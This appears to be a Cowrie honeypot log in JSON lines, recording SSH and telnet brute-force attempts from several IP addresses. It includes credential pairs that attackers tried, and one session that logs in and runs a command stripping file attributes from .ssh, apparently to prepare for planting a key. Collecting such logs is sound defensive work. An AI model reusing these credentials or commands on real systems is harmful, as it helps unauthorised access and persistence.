es256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:46.048496Z","src_ip":"118.193.33.42","session":"b8935e150592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2025","message":"login attempt [ubuntu/2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:46.959799Z","src_ip":"118.193.33.42","session":"b8935e150592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:48.193434Z","src_ip":"118.193.33.42","session":"b8935e150592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":32998,"dst_ip":"10.17.0.5","dst_port":22,"session":"72735cbd2767","protocol":"ssh","message":"New connection: 115.241.83.2:32998 (10.17.0.5:22) [session: 72735cbd2767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:20:38.820787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:20:38.826330Z","src_ip":"115.241.83.2","session":"72735cbd2767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:20:39.054933Z","src_ip":"115.241.83.2","session":"72735cbd2767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"school1","message":"login attempt [root/school1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:20:39.995252Z","src_ip":"115.241.83.2","session":"72735cbd2767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:20:41.225717Z","src_ip":"115.241.83.2","session":"72735cbd2767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.191.59.170","src_port":51128,"dst_ip":"159.203.135.109","dst_port":23,"session":"94dba5ce7088","protocol":"telnet","message":"New connection: 180.191.59.170:51128 (159.203.135.109:23) [session: 94dba5ce7088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:20:48.248195Z"}
{"eventid":"cowrie.session.closed","duration":13.770347595214844,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:02.018375Z","src_ip":"180.191.59.170","session":"94dba5ce7088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":23896,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ece02564373","protocol":"ssh","message":"New connection: 118.193.33.42:23896 (159.203.135.109:22) [session: 2ece02564373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:06.773268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:06.778072Z","src_ip":"118.193.33.42","session":"2ece02564373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:06.997857Z","src_ip":"118.193.33.42","session":"2ece02564373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"debian123456789","message":"login attempt [ubuntu/debian123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:07.942865Z","src_ip":"118.193.33.42","session":"2ece02564373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:09.167330Z","src_ip":"118.193.33.42","session":"2ece02564373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.96.157.227","src_port":53232,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc68ad209bb","protocol":"telnet","message":"New connection: 181.96.157.227:53232 (10.17.0.5:23) [session: 0cc68ad209bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:09.300760Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.247.142.201","src_port":51883,"dst_ip":"159.203.135.109","dst_port":23,"session":"42cd81c15bab","protocol":"telnet","message":"New connection: 43.247.142.201:51883 (159.203.135.109:23) [session: 42cd81c15bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:28.263475Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":53462,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9fc1711f85","protocol":"ssh","message":"New connection: 115.241.83.2:53462 (10.17.0.5:22) [session: 9b9fc1711f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:40.646055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:40.651143Z","src_ip":"115.241.83.2","session":"9b9fc1711f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:40.882853Z","src_ip":"115.241.83.2","session":"9b9fc1711f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angga123","message":"login attempt [root/angga123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:41.838192Z","src_ip":"115.241.83.2","session":"9b9fc1711f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.969712734222412,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:42.233113Z","src_ip":"43.247.142.201","session":"42cd81c15bab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:21:43.071699Z","src_ip":"115.241.83.2","session":"9b9fc1711f85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":65217,"dst_ip":"159.203.135.109","dst_port":22,"session":"526ee2e41f99","protocol":"ssh","message":"New connection: 2.57.121.112:65217 (159.203.135.109:22) [session: 526ee2e41f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:20.269990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:20.276718Z","src_ip":"2.57.121.112","session":"526ee2e41f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:20.380947Z","src_ip":"2.57.121.112","session":"526ee2e41f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210583","message":"login attempt [admin/210583] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:20.871311Z","src_ip":"2.57.121.112","session":"526ee2e41f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210582","message":"login attempt [admin/210582] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:21.978985Z","src_ip":"2.57.121.112","session":"526ee2e41f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210577","message":"login attempt [admin/210577] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:23.086233Z","src_ip":"2.57.121.112","session":"526ee2e41f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210575","message":"login attempt [admin/210575] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:24.194438Z","src_ip":"2.57.121.112","session":"526ee2e41f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21051978","message":"login attempt [admin/21051978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:25.302947Z","src_ip":"2.57.121.112","session":"526ee2e41f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:26.410992Z","src_ip":"2.57.121.112","session":"526ee2e41f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":41744,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb97921e9e59","protocol":"ssh","message":"New connection: 118.193.33.42:41744 (159.203.135.109:22) [session: bb97921e9e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:31.826057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:31.830846Z","src_ip":"118.193.33.42","session":"bb97921e9e59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:32.062112Z","src_ip":"118.193.33.42","session":"bb97921e9e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc1234","message":"login attempt [ubuntu/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:32.975386Z","src_ip":"118.193.33.42","session":"bb97921e9e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:34.195597Z","src_ip":"118.193.33.42","session":"bb97921e9e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":53238,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ce3dcc5956","protocol":"ssh","message":"New connection: 115.241.83.2:53238 (10.17.0.5:22) [session: f9ce3dcc5956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:40.296720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:40.301080Z","src_ip":"115.241.83.2","session":"f9ce3dcc5956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:40.543809Z","src_ip":"115.241.83.2","session":"f9ce3dcc5956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nthvbyfnjh","message":"login attempt [root/nthvbyfnjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:41.544266Z","src_ip":"115.241.83.2","session":"f9ce3dcc5956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:42.790230Z","src_ip":"115.241.83.2","session":"f9ce3dcc5956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":33206,"dst_ip":"10.17.0.5","dst_port":22,"session":"05c7acafb63e","protocol":"ssh","message":"New connection: 152.244.206.148:33206 (10.17.0.5:22) [session: 05c7acafb63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:56.586801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:56.593166Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:56.727211Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"123admin","message":"login attempt [admin/123admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:57.304111Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:57.617909Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:57.621614Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:22:57.625484Z","src_ip":"152.244.206.148","session":"05c7acafb63e","protocol":"ssh"}
